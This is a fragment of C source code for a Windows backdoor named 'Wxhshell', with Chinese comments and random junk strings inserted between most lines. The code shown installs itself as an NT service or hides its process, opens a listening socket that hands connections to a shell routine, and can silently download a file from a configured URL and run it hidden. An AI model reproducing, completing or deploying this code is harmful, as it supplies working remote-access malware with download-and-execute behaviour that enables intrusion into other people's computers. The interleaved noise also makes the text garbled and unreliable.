if (!NtQueryInformationProcess) return 0; *I.f1lz%* k@J&IJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >z>!Luw if(!hProcess) return 0; '3fu s?}e^/"v if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :J@gmY:C +.[ <% CloseHandle(hProcess); ,/I.t DH ]y'>=a|T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^A/k)x6 if(hProcess==NULL) return 0; `p-cSxR_ %p=M; HMODULE hMod; G`61~F% char procName[255]; u'DRN,h+ unsigned long cbNeeded; E7UU YnAm{YyI if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lvz7#f L~ VA_PvL.9 CloseHandle(hProcess); }!r|1$,kL <{cQM$# if(strstr(procName,"services")) return 1; // 以服务启动 \'D0'\:vz @o _}g !9= return 0; // 注册表启动 mR:uj2* } Ya"a`ozq =s2*H8] // 主模块 osAd1<EIC int StartWxhshell(LPSTR lpCmdLine) }q`S$P; { b=NxUd O SOCKET wsl; ,m:.-iy? BOOL val=TRUE; WPMSm<[ int port=0; )9`qG:b' struct sockaddr_in door; 0R'?~`aTt !)0;&e5 if(wscfg.ws_autoins) Install(); d.d/< Id .nu/ port=atoi(lpCmdLine); pJ"qu,w M`!H"R 7 if(port<=0) port=wscfg.ws_port; P@Oo$ o v MH WSADATA data; Ckuh:bs if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <uw9DU7G x2\qXN/R if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f+,qNvBY/ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [!#L6&:a8 door.sin_family = AF_INET; K`zdc`/ door.sin_addr.s_addr = inet_addr("127.0.0.1"); m@v\(rT. door.sin_port = htons(port); K=h9Ce /]Md~=yNp if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h2]P]@nW;W closesocket(wsl); SsDmoEeB[ return 1; c9 _rmz8 } qiBVGH :>f )g if(listen(wsl,2) == INVALID_SOCKET) { @,7GaK\ closesocket(wsl); k)=s>&hl return 1; jcf7n`L } joAv{Tc Wxhshell(wsl); C1n>M}b WSACleanup(); 04P}-L, ,j_i?Ff return 0; u^I|T.w<r6 j-}O0~Jz } }!.(n=idZ YZ8>OwQz2 // 以NT服务方式启动 0-Ku7<a VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O;jrCB { (vJNHY M DWORD status = 0; yjJ5>cg DWORD specificError = 0xfffffff; @:vwb\azVD `kXs;T6& serviceStatus.dwServiceType = SERVICE_WIN32; y/7\?qfTk serviceStatus.dwCurrentState = SERVICE_START_PENDING; xdt-
;w| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %XQ(fj> serviceStatus.dwWin32ExitCode = 0; -zeG1gr3 serviceStatus.dwServiceSpecificExitCode = 0; yq\K)g*= serviceStatus.dwCheckPoint = 0; 4!yzsPJL serviceStatus.dwWaitHint = 0; p]+Pkxz]' >@_^fw) hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J<h$
wM if (hServiceStatusHandle==0) return; `l[c_%Bm .?sx&2R2 status = GetLastError(); SZ'R59Ee< if (status!=NO_ERROR) <<5(0#y# { N5
6g+,w%) serviceStatus.dwCurrentState = SERVICE_STOPPED; ^Y \"}D serviceStatus.dwCheckPoint = 0; aeM+ d`f serviceStatus.dwWaitHint = 0; :tg)p+KB serviceStatus.dwWin32ExitCode = status; ?GR"FmB( serviceStatus.dwServiceSpecificExitCode = specificError; x
g SetServiceStatus(hServiceStatusHandle, &serviceStatus); vXZOy%$o return; ;dgp+ } 0GCEqQy8 -C]5>& W serviceStatus.dwCurrentState = SERVICE_RUNNING; =-n}[Y}A serviceStatus.dwCheckPoint = 0; nmKp[-5 serviceStatus.dwWaitHint = 0; 9qzHS~l if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WW~sNC\3`( } r[iflBP ;[OH(! // 处理NT服务事件,比如:启动、停止 i<Zc"v; VOID WINAPI NTServiceHandler(DWORD fdwControl) VjZ|$k { Qpc__dA\ switch(fdwControl) Q/0Tj]D { 7;wd(8 case SERVICE_CONTROL_STOP: . 3T3EX|G serviceStatus.dwWin32ExitCode = 0; @lr ztM serviceStatus.dwCurrentState = SERVICE_STOPPED; -x`@6 serviceStatus.dwCheckPoint = 0; :*9Wh serviceStatus.dwWaitHint = 0; ;iL#7NG-R { &d^m 1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fywv } Hf2_0wA3 return; RMu~l@ case SERVICE_CONTROL_PAUSE: <R=Zs[9M1 serviceStatus.dwCurrentState = SERVICE_PAUSED; lzVq1@B break; yl+gL?IES case SERVICE_CONTROL_CONTINUE: h
J)h\ serviceStatus.dwCurrentState = SERVICE_RUNNING; y _k
l:Ssa break; #c.K/&Gc7j case SERVICE_CONTROL_INTERROGATE: E{P|)`,V break; g(CI;f}y }; Txb#C[` SetServiceStatus(hServiceStatusHandle, &serviceStatus); |t#)~Oo } I:1C8*/ [/41%B2 // 标准应用程序主函数 /"Uqa,{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R8Fv{7]c { =MDysb&: ],Do6
@M- // 获取操作系统版本 B*Dz{a^.: OsIsNt=GetOsVer(); oQ[f,7u GetModuleFileName(NULL,ExeFile,MAX_PATH); ;+hH v;D~Pa // 从命令行安装 K`fuf= if(strpbrk(lpCmdLine,"iI")) Install(); =$JET<( s
R/F" // 下载执行文件 ')<hON44EX if(wscfg.ws_downexe) {
_
*Pf if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7n<::k\lb WinExec(wscfg.ws_filenam,SW_HIDE); r0% D58 } *#+An<iT ; z[qDkL if(!OsIsNt) { 3{sVVq5Y // 如果时win9x,隐藏进程并且设置为注册表启动 T'Dv.h HideProc(); _ZSR.w}j/ StartWxhshell(lpCmdLine); wgGl[_) } Y\g3hM else pG;U2wE if(StartFromService()) 3"~!nn0; // 以服务方式启动 07{)?1cod4 StartServiceCtrlDispatcher(DispatchTable); t&e{_|i#+ else }a(dyr`S // 普通方式启动 <bEbweQrgm StartWxhshell(lpCmdLine); m
GYoM k!'a,R: return 0; ,/|T-Ka }
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